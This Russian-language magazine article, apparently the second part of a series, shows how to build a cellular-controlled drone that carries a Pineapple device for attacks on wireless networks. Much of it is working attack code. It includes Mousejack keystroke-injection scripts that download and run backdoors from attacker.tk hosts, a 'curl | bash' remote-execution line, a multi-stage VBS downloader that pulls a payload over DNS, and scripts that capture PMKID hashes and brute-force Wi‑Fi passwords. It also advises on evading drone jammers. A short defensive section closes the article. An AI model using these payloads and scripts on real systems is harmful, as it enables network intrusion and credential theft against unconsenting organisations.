Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок. Часть 2

Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок. Часть 2

https://t.me/xakep_1

Что­бы полет­ный кон­трол­лер знал, отку­да брать коман­ды управле­ния дви­гате­лями, в его нас­трой­ках нуж­но ука­зать, что NanoPi физичес­ки соеди­нен с его интерфей­сом UART2, а прог­рам­мно исполь­зует­ся про­токол MSP. Для Betaflight cде­лать это мож­но с помощью прог­раммы BetaflightConfigurator, как показа­но на сле­дующих рисун­ках.

Ме­няем активный UART для при­емни­ка (NanoPi под­клю­чен к UART2 полет­ного кон­трол­лера, а штат­ный при­емник — к UART1)
В парамет­рах при­емни­ка ука­зыва­ем про­токол управле­ния MSP

Ес­ли все сде­лано пра­виль­но, то с любого рас­сто­яния появит­ся воз­можность уда­лен­но управлять таким дро­ном, пока есть сиг­нал мобиль­ных сетей и, конеч­но же, пока не сел акку­муля­тор.

Пе­реда­вать видео мож­но, под­соеди­нив DVP-камеру нап­рямую к пла­те NanoPi. А стрим кар­тинки с нее по сети воз­можен пос­редс­твом сле­дующе­го кода:

cvlc v4l2:///dev/video0:chroma=h264:width=800:height=600 --sout '#transcode {vcodec=h264,acodec=mp3,samplerate=44100}:std{access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' –vvv

Что­бы уда­лен­но видеть кар­тинку с дро­на на любом рас­сто­янии, нуж­но прос­то открыть в бра­узе­ре «http://drone:8080/», где drone — IP-адрес VPN NanoPi.

При­веден­ные выше шаги реали­зации управле­ния дро­ном через мобиль­ные сети — это лишь кон­цепт, демонс­три­рующий все необ­ходимые при­мити­вы свя­зей. Что­бы дрон реаль­но полетел и не раз­бился, тре­бует­ся реали­зовать еще удоб­ный интерфейс управле­ния.

Это­го мож­но добить­ся через под­клю­чение пуль­та, нап­ример EdgeTX, спо­соб­ного работать как HID-устрой­ство. А так­же через тран­сля­ции положе­ний его сти­ков в коман­ды управле­ния, которые переда­ются по сети на NanoPi, интер­пре­тиру­ются там в соот­ветс­тву­ющие MSP-коман­ды и по UART попада­ют на полет­ный кон­трол­лер.

А мож­но пой­ти более уни­вер­саль­ным спо­собом, поз­воля­ющим управлять полетом без спе­циаль­ного обо­рудо­вания, пря­мо с кла­виату­ры ноут­бука или экра­на телефо­на. Это про­ще все­го реали­зовать через неболь­шое веб‑при­ложе­ние, средс­тва­ми JavaScript, счи­тывая соот­ветс­тву­ющие события кла­виату­ры и нажатия по вир­туаль­ным сти­кам в сооб­щения, опе­ратив­но переда­ваемые по сети через WebSockets на NanoPi.

Для сис­тем под управле­нием Ardupilot сущес­тву­ют даже готовые решения.

 

Защита от глушилок

Проб­лему помех от зда­ний и огра­ничен­ного ради­уса управле­ния мож­но решить пред­став­ленны­ми выше спо­соба­ми, прев­ратив выш­ки сотовой свя­зи из глав­ного источни­ка помех в луч­шего дру­га.


Но для дро­нов есть еще одна опас­ность, которая их может под­жидать непос­редс­твен­но на самих объ­ектах, — это подави­тели дро­нов, или глу­шил­ки.

Для боль­шинс­тва подоб­ных устрой­ств must-have явля­ется подав­ление час­тот 2,4 ГГц, на которых лета­ет боль­шинс­тво прос­тых дро­нов (с управле­нием по Wi-Fi). Сюда же попада­ет часть час­тот и про­фес­сиональ­ных дро­нов. У серь­езных глу­шите­лей дро­нов в час­тотах подав­ления учте­ны каналы управле­ния всех про­фес­сиональ­ных про­токо­лов (TBS, ELRS, FRSKY и про­чих) — 800, 900, 2400 МГц.

Од­нако самая рас­простра­нен­ная мера про­тиво­дей­ствия дро­нам — глу­шение или спу­финг сиг­налов GPS. Под­делав сиг­налы со спут­ников, дро­ну мож­но вну­шить любое мес­тополо­жение, что может быть исполь­зовано для кон­тро­ля над его переме­щени­ем. Так как в дос­таточ­но мно­гих про­токо­лах управле­ния дро­нами при­меня­ется серь­езное шиф­рование, впол­не логич­ной выг­лядит ата­ка на GPS, так как она пред­став­ляет­ся наибо­лее общей. Поэто­му GPS-при­емник ока­зыва­ется еще одним сла­бым мес­том дро­нов. И потен­циаль­ный зло­умыш­ленник, не жела­ющий, что­бы его дрон был сбит такой глу­шил­кой, дол­жен изба­вить­ся от GPS.

В некото­рых «готовых» моделях дро­нов бор­товой GPS мож­но отклю­чить прог­рам­мно. FPV-дро­ны Cinewhoop час­то исполь­зуют­ся в полетах по помеще­ниям, где, как извес­тно, GPS прак­тичес­ки не ловит­ся. Поэто­му час­то GPS-при­емни­ки в такие модели не ста­вят. Дро­ны с откры­тыми сис­темами управле­ния, такими как Betaflight, име­ют модуль­ную струк­туру и всег­да поз­воля­ют как вклю­чить, так и отклю­чить бор­товой GPS, чего нель­зя ска­зать о более бюд­жетных вари­антах, которые прос­то отка­зыва­ются лететь без него.

Что каса­ется глу­шения каналов управле­ния, то заг­лушить дрон с управле­нием по мобиль­ным сетям тоже не так‑то прос­то. Ведь теперь нуж­но подав­лять сра­зу ряд диапа­зонов мобиль­ных сетей раз­ных поколе­ний. А вари­антов час­тот у 2G, 3G и 4G немало. Если заг­лушить все 4G-сети (1900, 2300, 2500, 2600 МГц), модем дро­на перей­дет на 3G (800, 850, 900, 1900, 1800, 2100, 2600 МГц), заг­луша­ем и их — перей­дет на 2G (900, 1800, 1900 МГц).

Тем не менее сущес­тву­ют нап­равлен­ные ради­опуш­ки, отклю­чающие мощ­ным импуль­сом вооб­ще все радио, но им, впро­чем, тре­бует­ся дос­таточ­но точ­ное наведе­ние на цель.

 

PINEAPPLE

Вре­мя попод­робнее рас­смот­реть сами ата­ки. Для хакера дрон лишь тран­спорт. Реаль­но все ата­ки зло­умыш­ленник может про­водить с помощью некото­рого мини­атюр­ного устрой­ства, прик­реплен­ного к такому дро­ну. Это может быть уже зна­комый по пре­дыду­щей статье Pineapple. Он без проб­лем помес­тится на любой дрон, ведь он малень­кий и лег­кий.


Лег­ковес­ная реали­зация Pineapple прев­раща­ет дрон в хакер­ский инс­тру­мент

Так как этот хакер­ский девайс может дос­тавлять­ся на мес­то хоть дро­ном, хоть поч­товым голубем, то важ­на его мас­са. Сум­марно мас­са такого Pineapple вмес­те с акку­муля­тором получа­ется все­го от 17 до 43 г, в зависи­мос­ти от типа батареи. Дро­ны име­ют запас мощ­ности для про­тиво­дей­ствия вет­ру и уста­нов­ки экшн‑камер и спо­кой­но могут под­нять от тре­ти до полови­ны сво­ей изна­чаль­ной мас­сы без зна­читель­ной потери лет­ных харак­терис­тик. Так что с таким гру­зом спра­вит­ся поч­ти любой, даже кар­манный сел­фи‑дрон. И это еще одно несом­ненное пре­иму­щес­тво перед гро­моз­дким готовым устрой­ством Pineapple от hak5 — его смо­жет под­нять далеко не каж­дый дрон.

Мол­ниенос­ность — это глав­ное усло­вие, которое потен­циаль­ный зло­умыш­ленник учи­тыва­ет при пла­ниро­вании атак с дро­на. Если в пре­дыду­щей статье про Pineapple рас­смот­рены ста­тич­ные ата­ки на бес­про­вод­ные сети, ког­да тре­бует­ся дол­го находить­ся в непод­вижной точ­ке, то с дро­ном целесо­образнее про­водить динамич­ные ата­ки — быс­трые и мобиль­ные, пок­рыва­ющие мно­жес­тво целей.

Но какие бес­про­вод­ные тех­нологии могут быть ата­кова­ны столь стре­митель­но, что у дро­на не успе­ет сесть акку­муля­тор? Впол­не оче­вид­но, что это дол­жны быть ата­ки, сла­бо завязан­ные на людей, так как людям час­то тре­бует­ся мно­го вре­мени, что­бы при­нять решение. Дру­гое дело — чис­то компь­ютер­ные ата­ки, не тре­бующие никако­го учас­тия поль­зовате­ля. Машины не так мед­литель­ны, как человек, и есть нес­коль­ко zero click атак, про­веде­ние которых занима­ет нес­коль­ко секунд. При этом дро­ну не нуж­но даже совер­шать корот­ких оста­новок — все может про­исхо­дить пря­мо во вре­мя полета.

Да­лее пред­став­лено нес­коль­ко таких атак, начиная с самых кри­тич­ных.

 

Mousejack

Су­щес­тву­ет рас­простра­нен­ная уяз­вимость, надеж­но, на десяти­летия засев­шая в сот­нях тысяч бес­про­вод­ных мышек и кла­виатур. Ее экс­плу­ата­ция воз­можна с кинема­тог­рафич­ной эффектив­ностью — высочай­шей ско­ростью (одна‑две секун­ды) и мак­сималь­ным импактом — RCE, и ата­кующий сра­зу получа­ет шелл. И имя ей — Mousejack.


Ата­ка на бес­про­вод­ные HID-устрой­ства (мыши и кла­виату­ры) — это, пожалуй, самая зре­лищ­ная ата­ка, спо­соб­ная ском­про­мети­ровать компь­ютер за секун­ды. Она счи­тает­ся самой опас­ной из всех воз­можных атак, так как поз­воля­ет минималь­ными уси­лиями, по ради­ока­налу, уда­лен­но отпра­вить про­изволь­ные нажатия кла­виш, ины­ми сло­вами, выпол­нить про­изволь­ный код. Никаких пред­варитель­ных под­боров паролей, осо­бых дей­ствий поль­зовате­ля — сра­зу RCE.

Эту ата­ку мож­но эффектив­но про­водить с помощью спе­циаль­ного устрой­ства CrazyRadio PA и любого одноплат­ника, нап­ример Raspberry, или уже зна­комо­го нам устрой­ства Pineapple, раз­работан­ного спе­циаль­но для атак на бес­про­вод­ные сети. Усло­вие стар­та для ата­ки может быть добав­лено так:

startup.sh

...

elif lsusb | grep -q 'Nordic Semiconductor'; then

echo "[*] mousejack attack"

cd mousejack

screen -dmS mousejack -t jackit -L -Logfile "$time-mousejack-%n.log" './mousejack.sh'

cd -

...

Ины­ми сло­вами, если в Pineapple встав­лен донгл CrazyRadio PA, то авто­мати­чес­ки запус­кает­ся ата­ка на бес­про­вод­ные мыши и кла­виату­ры:

mousejack/mousejack.sh

#!/bin/bash

led green on

python3 jackit --autopwn --script ducky.txt

led green off

Так как ата­кующий не зна­ет адре­са бес­про­вод­ных устрой­ств, он вынуж­ден ата­ковать все, что слы­шит в ради­оэфи­ре, поэто­му исполь­зует­ся флаг autopwn.

Ес­ли соеди­нить CrazyRadio с Pineapple, получит­ся очень опас­ное хакер­ское устрой­ство.

Ус­трой­ство, спо­соб­ное на рас­сто­янии взло­мать компь­ютер через бес­про­вод­ную перифе­рию

Дрон с таким устрой­ством смо­жет про­бить периметр прак­тичес­ки любой ком­пании.

Дрон заряжен Mousejack и готов лететь

Та­кой дрон будет ата­ковать все устрой­ства вок­руг себя, пока летит.

Экс­плу­ата­ция Mousejack очень похожа на BadUSB-hid. Тут ата­кующий стал­кива­ется с теми же проб­лемами при наборе команд:

  • при исполь­зовании нажатий кла­виш при­ходит­ся уга­дывать язы­ковую рас­клад­ку;
  • при исполь­зовании ALT-кодов для набора тек­ста команд (воз­можно толь­ко на Windows) — уга­дывать ста­тус кла­виши Num Lock.

И в том и в дру­гом слу­чае зло­умыш­ленни­ку при­дет­ся для надеж­ности засылать нажатия дваж­ды, меняя либо рас­клад­ку, либо ста­тус NumLock. Но в слу­чае с ALT-кодами понадо­бит­ся в три‑четыре раза боль­ше нажатий. А если нет раз­ницы, то зачем переда­вать боль­ше? В общем, тут сно­ва раци­ональ­нее исполь­зовать прос­той метод отправ­ки нажатий непос­редс­твен­но самих кла­виш вмес­то их кодов:

mousejack/ducky.txt

GUI SPACE

GUI r

DELAY 300

STRING msiexec /i https://en.attacker.tk/backdoor.msi /quiet

DELAY 300

ENTER

SHIFT ALT

DELAY 300

SHIFT CTRL

DELAY 300

GUI r

DELAY 300

STRING msiexec /i https://ru.attacker.tk/backdoor.msi /quiet

DELAY 300

ENTER

Так как исполь­зует­ся ради­ока­нал, ата­кующий неиз­бежно стол­кнет­ся с помеха­ми. Чем длин­нее набира­емая коман­да, тем боль­ше веро­ятность, что та или иная кла­виша «не долетит». Дос­таточ­но все­го одной ошиб­ки, что­бы RCE-коман­да не рас­позна­лась.

При­веден­ный здесь при­мер уже зна­ком читате­лям по статье про BadUSB-hid. Эта воз­можность име­ется в любой ОС Windows, она поз­воля­ет за одно дей­ствие ска­чать и запус­тить ука­зан­ную прог­рамму уда­лен­ного управле­ния. Под ОС семей­ства Unix зло­умыш­ленник может исполь­зовать коман­ду из раз­ряда curl -L http://rce.attacker.tk/1.sh|bash.

Да­лее успешность ата­ки зависит толь­ко от лов­кости управле­ния дро­ном и наличия бес­про­вод­ных мышек в ради­усе око­ло 10–15 м. Pineapple на дро­не будет пытать­ся взло­мать каж­дый компь­ютер через вновь пой­ман­ный ради­осиг­нал от мыш­ки или кла­виату­ры. Эффект ата­ки дела­ет ее похожей на фильм или игру про хакеров, где взлом с помощью дро­на про­исхо­дит за нес­коль­ко секунд.

Скрин­шот из компь­ютер­ной игры Watch Dogs 2

Ре­аль­ный мир отли­чает­ся от вымыш­ленно­го. Боль­шая часть из того, что показа­но в играх и филь­мах о воз­можнос­тях хакеров, име­ет мало обще­го с реаль­ностью, но эта ата­ка — одна из нем­ногих, которые в жиз­ни выг­лядят точ­но так же, как на экра­не.

Пред­ставь: ты сидишь дома или работа­ешь в офи­се, где‑нибудь на вер­хних эта­жах или в глу­бине режим­ного объ­екта, в сот­нях мет­ров от охра­няемо­го кон­троль­но‑про­пус­кно­го пун­кта. Кажет­ся, что ты в пол­ной информа­цион­ной безопас­ности и внеш­ний наруши­тель до тебя не доберет­ся. Но тут к зда­нию под­лета­ет подоб­ный дрон, и, пока ты удив­ленно смот­ришь на него через окно (а воз­можно, ты даже и не заметишь его вов­се), он все­го за секун­ду запус­тит вре­донос­ный код на тво­ем компь­юте­ре. Так что ты вряд ли успе­ешь заметить что‑либо подоз­ритель­ное, а если и заметишь, то вряд ли сопос­тавишь появ­ление в небе дро­на с уста­нов­кой бэк­дора на тво­ем компь­юте­ре. С исполь­зовани­ем это­го метода зло­умыш­ленник смо­жет про­ник­нуть в кор­поратив­ную сеть — пос­ледс­твия это­го, думаю, объ­яснять никому не нуж­но.

Про­бив перимет­ра с дро­на за одну секун­ду

Дрон исполь­зует еще и эффект отвле­чения: поль­зователь смот­рит в окно, пока на его ноут­буке на долю секун­ды всплы­вает окно «Пуск → Выпол­нить» и запус­кает­ся бэк­дор или RAT. Через пару минут, веро­ятно, зло­умыш­ленник уже успе­ет опро­бовать пару‑трой­ку экс­пло­итов.

По иро­нии судь­бы чаще все­го бес­про­вод­ные мыш­ки и кла­виату­ры есть либо у IT-пер­сонала, либо у руково­дите­лей. Так что добыча зло­умыш­ленни­ка будет сра­зу весомая. Воз­можно, это ока­жет­ся комп домен­ного адми­нис­тра­тора, в таком слу­чае события уже во внут­ренней сети будут раз­вивать­ся стре­митель­но. А воз­можно, это будет какой‑то началь­ник, на рабочем сто­ле которо­го мно­го цен­ных фай­лов. Сло­вом, какой бы компь­ютер это ни был, он, ско­рее все­го, под­клю­чен к внут­ренней сети, а зна­чит, зло­умыш­ленник поч­ти навер­няка дос­тигнет глав­ной цели — про­бития перимет­ра.

Что­бы про­бить периметр опи­сан­ным спо­собом, с компь­юте­ра, под­вержен­ного этой ата­ке, дол­жен быть выход в интернет до опор­ного сер­вера зло­умыш­ленни­ка. Отту­да он ска­чива­ет и запус­кает бэк­дор, на который потом пос­тупа­ют коман­ды управле­ния. Но далеко не в каж­дой внут­ренней сети раз­решены пря­мые соеди­нения на внеш­ние IP-адре­са. Одна­ко популяр­ные методы эксфиль­тра­ции, такие как DNS, впол­не могут работать, и про­изволь­ные зап­росы, содер­жащие дан­ные, могут выходить из сети наружу поч­ти всег­да. Это зна­чит, что такой канал может быть исполь­зован как тран­спорт для ска­чива­ния бэк­дора и его пос­леду­ющей работы.

Ре­али­зовать заг­рузку нуж­ной хакеру прог­раммы по DNS мож­но и базовы­ми средс­тва­ми любой ОС. Нап­ример, для Windows самым перено­симым спо­собом явля­ется VBS-скрипт, который написан на пол­ноцен­ном интер­пре­тиру­емом язы­ке прог­рамми­рова­ния (смот­ри статью про методы инфиль­тра­ции и эксфиль­тации). Но раз­мер вво­димой в окно «Выпол­нить» коман­ды огра­ничен, и для набора VBS-скрип­та, заг­ружа­юще­го средс­тво уда­лен­ного управле­ния через DNS, зло­умыш­ленни­ку пот­ребу­ются минимум три коман­ды:

mousejack/ducky-dnsexec.txt

GUI r

DELAY 300

STRING cmd /C "(echo On Error Resume Next& echo Set objShell = CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("Scripting.FileSystemObject"^).createtextfile^("out.exe"^))>1.vbs& ping x1.attacker.tk"

ENTER

GUI r

DELAY 300

STRING cmd /C "(echo For d = 1 To 927& echo pos = 0& echo While pos = 0& echo Set exec = objShell.Exec^("nslookup -type=txt d"^&d^&".txt.attacker.tk"^)& echo res = exec.Stdout.ReadAll^(^))>>1.vbs& ping x2.attacker.tk"

ENTER

GUI r

DELAY 300

STRING cmd /C "(echo pos = inStr^(1,res,"?"^)& echo txt = Mid^(res,pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& echo Next)>>1.vbs& ping x3.attacker.tk"

ENTER

GUI r

DELAY 300

STRING cmd /C "wscript 1.vbs & out.exe"

ENTER

При выпол­нении команд на сер­вер зло­умыш­ленни­ка дол­жно прий­ти три DNS-отсту­ка, озна­чающих успешность набора команд.

Это отличный при­мер того, как ты или твоя ком­пания могут быть лег­ко взло­маны, при­чем даже без дро­на (об этом в одной из сле­дующих ста­тей). И чем боль­ше ком­пания, тем выше веро­ятность встре­тить под­вержен­ную уяз­вимос­тям бес­про­вод­ную перифе­рию. Мой опыт показы­вает: нес­мотря на то что эта уяз­вимость най­дена еще в 2016 году, о ней до сих пор мало кто зна­ет. А те, кто зна­ет, силь­но ее недо­оце­нива­ют. Тем не менее встре­чает­ся она пов­семес­тно. А аппа­рат­ная спе­цифи­ка этой уяз­вимос­ти обес­печива­ет ей еще дос­таточ­но дол­гую жизнь, ведь компь­ютер­ные мыш­ки мы не при­вык­ли менять так же час­то, как телефо­ны.

 

Атака EAP

В статье про Pineapple уже рас­смат­ривались ата­ки на WPA Enterprise, но там опи­сано воз­можное их при­мене­ние в ста­тич­ном режиме — с ожи­дани­ем попада­ния кли­ентов в ради­ус дей­ствия. С дро­ном хакер может про­вес­ти такую ата­ку в ином клю­че — динамич­но, самос­тоятель­но обна­ружи­вая и ата­куя кли­ент­ские устрой­ства.


Те­перь он в сос­тоянии обле­теть каж­дое зда­ние, где раз­меща­ются цели атак. Так как отправ­ка учет­ных дан­ных WPA Enterprise не тре­бует учас­тия поль­зовате­ля, она про­исхо­дит дос­таточ­но быс­тро, что дела­ет эту ата­ку воз­можной даже без оста­нов­ки про­лета­юще­го мимо дро­на.

На пред­став­ленной ниже иллюс­тра­ции телефо­ны сот­рудни­ков бес­созна­тель­но кинули в про­лета­ющий мимо дрон учет­ные записи кор­поратив­ной бес­про­вод­ной сети.

Компь­ютер­ная ата­ка с дро­на на кли­ент­ское устрой­ство

Для реали­зации такой ата­ки зло­умыш­ленни­ку не нуж­но дораба­тывать скрип­ты Pineapple. Все необ­ходимое уже про­дела­но в соот­ветс­тву­ющем раз­деле пре­дыду­щей статьи. Для акти­вации ата­ки на Pineapple прос­то ста­вит­ся перемыч­ка на GPIO-25 (замыка­ющая пины 20 и 22), пос­ле чего устрой­ство вклю­чает­ся. Загорел­ся зеленый све­тоди­од — зна­чит, точ­ка дос­тупа под­нялась и ата­кующий может лететь. Дрон вмес­те с устрой­ством при­лета­ет обратно, горит крас­ный или жел­тый све­тоди­од — зна­чит, мы вер­нулись не с пус­тыми руками и пароль или хеш чьей‑то домен­ной учет­ки сох­ранен на кар­те памяти. С этой домен­ной учет­кой зло­умыш­ленник впос­ледс­твии может получить уда­лен­ный дос­туп к поч­те и рас­крыть кон­фиден­циаль­ные дан­ные или даже, при наличии у ком­пании VPN, получить дос­туп в ее локаль­ную сеть.

 

Захват хендшейка WPA и PMKID

В пре­дыду­щей статье про Pineapple рас­смот­рен ряд атак на аутен­тифика­цию Wi-Fi. Аутен­тифика­ция (зах­ват PMKID) и деаутен­тифика­ция (зах­ват WPA Handshake) про­исхо­дят дос­таточ­но быс­тро. Более того, если зах­ват WPA Handshake тре­бует опре­делен­ных обсто­ятель­ств (наличия кли­ентов), то зах­ватить PMKID, если име­ется уяз­вимая точ­ка дос­тупа, мож­но всег­да и дос­таточ­но быс­тро.


PMKID — это еще один при­год­ный для брут­форса хеш, который мож­но получить из пер­вой час­ти четырех­сту­пен­чатого рукопо­жатия (EAPOL M1). Для это­го не нуж­ны аутен­тифици­рован­ные кли­енты, такой пакет точ­ка дос­тупа может отпра­вить ата­кующе­му сама в ответ на зап­рос ассо­циации:

wpapsk/auth.sh

#!/bin/bash

dumpfile="pmkid-$(date +'%H:%M:%S_%d.%m.%Y')"

hcxdumptool -i mon0 --enable_status=7 -o $dumpfile.pcapng --disable_client_attacks --disable_deauthentication $* | while read line

do

if echo "$line" | grep -q 'PMKIDROGUE:'; then

led yellow on 2> /dev/null

fi

done

tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap

rm -f $dumpfile.pcapng

По­ка дрон летит, этот скрипт отправ­ляет зап­рос ассо­циации на каж­дую точ­ку дос­тупа в пре­делах досяга­емос­ти ради­осиг­нала.

Компь­ютер­ная ата­ка с дро­на на точ­ку дос­тупа

Как толь­ко PMKID зах­вачен, загора­ется жел­тый све­тоди­од. И WPA handshake, и PMKID дает хеш‑сум­му, по которой мож­но вос­ста­новить пароль к точ­ке дос­тупа методом перебо­ра по сло­варю:

wpapsk/brute-pmkid.sh

#!/bin/bash

while sleep 60

for pcap in *.cap

do echo "$pcap"

hcxpcapngtool "$pcap" --pmkid=/tmp/m1.pmkid

hcxhash2cap --pmkid=/tmp/m1.pmkid -c /tmp/out-pmkid.pcap

for bssid in $(echo 0 | aircrack-ng "/tmp/out-pmkid.pcap" | grep 'with PMKID' | awk '{print $2}')

do

if [ -f "/tmp/$bssid" ]; then

continue

fi

touch "/tmp/$bssid"

aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid" "/tmp/out-pmkid.pcap" -l "$bssid.txt"

if [ -s "$bssid.txt" ]; then

led red on 2> /dev/null

exit

fi

done

rm -f /tmp/m1.pmkid

rm -f /tmp/out-pmkid.pcap

done

done

Pineapple с таким скрип­том в сос­тоянии сам опре­делить сла­бые пароли к точ­кам дос­тупа. Для это­го сна­чала уда­ляют­ся все пакеты EAPOL M2 (handshake), так как про­веря­ются толь­ко с PMKID. Пос­ле их уни­кали­зации, что­бы не бру­тить одни и те же хеши мно­гок­ратно, запус­кает­ся уже брут­форс пря­мо в воз­духе. Если пароль подоб­ран, загора­ется крас­ный све­тоди­од.

Скрипт слу­жит хорошим при­мером манипу­ляции наб­ранны­ми хешами, ведь в таком слу­чае aircrack-ng при наличии handshake игно­риру­ет PMKID. Вооб­ще, бру­тить хеши целесо­образно на более мощ­ном обо­рудо­вании, ведь все соб­ранные в полете хеши сох­раня­ются на кар­те памяти Pineapple.

 

Разведка беспроводных сетей

При­мени­тель­но к ата­кам на бес­про­вод­ные сети дрон весь­ма неп­лохо под­ходит на роль раз­ведчи­ка. Раз­местив все тот же Pineapple и под­клю­чив к нему внеш­ний GPS-донгл, ата­кующий может три­ангу­лиро­вать рас­положе­ние каж­дого бес­про­вод­ного устрой­ства (точек дос­тупа Wi-Fi, кли­ентов, Bluetooth-устрой­ств и даже бес­про­вод­ных мышек и кла­виатур) и фик­сировать их рас­положе­ние на кар­те. Эта информа­ция может быть очень акту­аль­на как для ата­кующе­го, выяв­ляюще­го повер­хность будущих атак, так и для защит­ников, кон­тро­лиру­ющих свои ресур­сы. Ведь весь необ­ходимый сбор дан­ных и рас­четы пол­ностью про­изво­дит прог­рамма Kismet. На выходе — дамп SQLite, удоб­ный для самос­тоятель­ного пар­синга.


Для геог­рафичес­кой раз­ведки бес­про­вод­ных сетей тре­бует­ся лишь два ком­понен­та, которые на Pineapple запус­кают­ся при стар­те в положе­нии перемыч­ки на 27-м GPIO:

startup.sh

...

elif jmp 27; then

echo "[*] wi-fi recon (dynamic)"

monitor_enable

cd recon

screen -dmS recon -t gpsd -L -Logfile "$time-recon-%n.log" './gps.sh'

screen -r recon -t kismet -X screen './kismet.sh'

screen -r recon -t tcpdump -X screen './tcpdump.sh'

cd -

...

Ког­да уста­нав­лива­ется соеди­нение со спут­никами, зеленый све­тоди­од дает понять, что мож­но лететь:

recon/gps.sh

#!/bin/bash

gpsd -N /dev/ttyACM0 -D 5 | while read line

do echo "$line"

if echo "$line" | fgrep -q 'GPS:'; then

led green on 2> /dev/null

fi

done

Ус­пешный запуск Kismet, в свою оче­редь, зажига­ет жел­тый све­тоди­од:

recon/kismet.sh

#!/bin/bash

kismet -c mon0 | while read line

do echo "$line"

if echo "$line" | fgrep -q 'success'; then

led yellow on 2> /dev/null

fi

done

Те­перь пос­ле обле­та тер­ритории или даже заг­рузки GPS-мар­шру­та в дрон ата­кующий либо защит­ник могут в авто­мати­чес­ком режиме более качес­твен­но выпол­нить ана­лиз бес­про­вод­ных сетей, пок­рывая мак­симум тер­ритории. Получен­ный дамп может быть пре­обра­зован в веб‑стра­ницу, содер­жащую удоб­ную инте­рак­тивную кар­ту, на которой наложе­но рас­счи­тан­ное мес­тополо­жение источни­ков сиг­нала, а так­же пос­тро­ена теп­ловая кар­та сиг­налов, как на сле­дующем рисун­ке.

Ви­зуали­зация соб­ранной информа­ции о бес­про­вод­ных устрой­ствах (мес­тополо­жение и теп­ловая кар­та)

Теп­ловая кар­та показы­вает уро­вень сиг­нала от бес­про­вод­ных устрой­ств в каж­дой иссле­дован­ной точ­ке. Любая точ­ка дос­тупа или кли­ент на такой кар­те по кли­ку мыш­кой обво­дит­ся окружностью, показы­вающей область ее слы­шимос­ти.

Об­ласть слы­шимос­ти бес­про­вод­ного устрой­ства

При этом теп­ловая кар­та, как мож­но заметить, перес­тра­ивает свой цвет под каж­дое выб­ранное бес­про­вод­ное устрой­ство, тем самым показы­вая, в каких мес­тах и как при­нимал­ся сиг­нал от него. Каж­дая область, где про­летал дрон, при выборе мыш­кой показы­вает бес­про­вод­ные устрой­ства, дос­тупные имен­но там.

Слы­шимые бес­про­вод­ные устрой­ства в опре­делен­ной точ­ке

Все вмес­те это дает пред­став­ление, не выходит ли зона при­ема за кон­тро­лиру­емую область, где может находить­ся зло­умыш­ленник.

 

Постэксплуатация

Ес­ли ата­ка будет успешной, зло­умыш­ленни­ку, веро­ятно, при­дет­ся вер­нуть­ся и вос­поль­зовать­ся обна­ружен­ной уяз­вимостью. Ведь подоб­ранный пароль или перех­вачен­ные учет­ные дан­ные сра­бота­ют толь­ко для кон­крет­ной бес­про­вод­ной сети. В таком слу­чае дрон может дос­тавить Pineapple, снаб­женный 4G-модулем для уда­лен­ного под­клю­чения к бес­про­вод­ной сети на охра­няемой тер­ритории.


Дрон дос­тавля­ет Pineapple, снаб­женный 4G-модемом, для уда­лен­ного дос­тупа

Как исполь­зовать Pineapple в качес­тве средс­тва уда­лен­ного дос­тупа, про­демонс­три­рова­но в пре­дыду­щей статье.

Дрон с Pineapple на бор­ту может при­зем­лить­ся на кры­шу зда­ния. С вык­лючен­ными про­пел­лерами он в сос­тоянии ожи­дать дос­таточ­но дол­го. А тем вре­менем зло­умыш­ленник может уда­лен­но под­клю­чить­ся к ском­про­мети­рован­ной бес­про­вод­ной сети и раз­вивать даль­нейшие ата­ки уже по внут­ренним сетям. И впол­не веро­ятно, что внут­ренняя сеть в резуль­тате такого про­ник­новения падет рань­ше, чем на кры­шу под­нимут­ся сот­рудни­ки служ­бы безопас­ности. Впро­чем, в таком слу­чае дрон может стре­митель­но уле­теть, уне­ся на сво­ем бор­ту и Pineapple, и 4G-модем. Так что не оста­нет­ся никаких сле­дов.

 

КАК ЗАЩИТИТЬСЯ

Дрон спо­собен пре­одо­леть мно­жес­тво клас­сичес­ких защит­ных мер. Про­пус­кной пункт, две­ри на эта­же или в кабине­те, даже заборы для него не проб­лема. И чем круп­нее ком­пания, тем выше веро­ятность встре­тить уяз­вимый ком­понент и тем весомее потен­циаль­ная добыча зло­умыш­ленни­ка.

Мож­но рас­смот­реть сле­дующие вари­анты защиты от некото­рых дро­нов:

  • од­на из так­тик защиты — это нападе­ние. Дрон, управля­емый по Wi-Fi, — это, по сути, лета­ющий роутер. К нему мож­но под­клю­чить­ся, как к обыч­ной Wi-Fi-сети, исполь­зуя прос­тые завод­ские пароли, пос­ле чего перех­ватить виде­осиг­нал, иду­щий RTSP-потоком, или перек­рыть канал управле­ния;
  • при­мене­ние обыч­ных подави­телей дро­нов, так как они рас­счи­таны на наибо­лее популяр­ные про­токо­лы (FRSKY, ELRS или TBS), по которым управля­ются даже про­фес­сиональ­ные дро­ны;
  • мно­гие дро­ны пос­ле потери сиг­нала с пуль­та управле­ния экс­трен­но садят­ся, но некото­рые уле­тают обратно по GPS-коор­динатам. Подави­тели ради­осиг­налов, сооб­щающих под­дель­ные коор­динаты, могут зас­тавить дрон экс­трен­но сесть в задан­ной точ­ке;
  • для модифи­циро­ван­ных дро­нов с самодель­ными режима­ми управле­ния (нап­ример, 4G) мож­но исполь­зовать нап­равлен­ные подави­тели сиг­налов.

Сре­ди общих мер, которые защища­ют от любых дро­нов, мож­но отме­тить сле­дующие:

  • эк­раниро­вание — раз­мещение кри­тичес­ких объ­ектов в помеще­ниях со спе­циаль­ными огражда­ющи­ми конс­трук­циями, которые пре­пятс­тву­ют рас­простра­нению элек­тро­маг­нитных излу­чений за пре­делы помеще­ния (кон­тро­лиру­емой зоны);
  • внеш­нее зашум­ление элек­тро­маг­нитны­ми вол­нами, которые не поз­воля­ют дро­ну обна­ружить уяз­вимые бес­про­вод­ные устрой­ства;
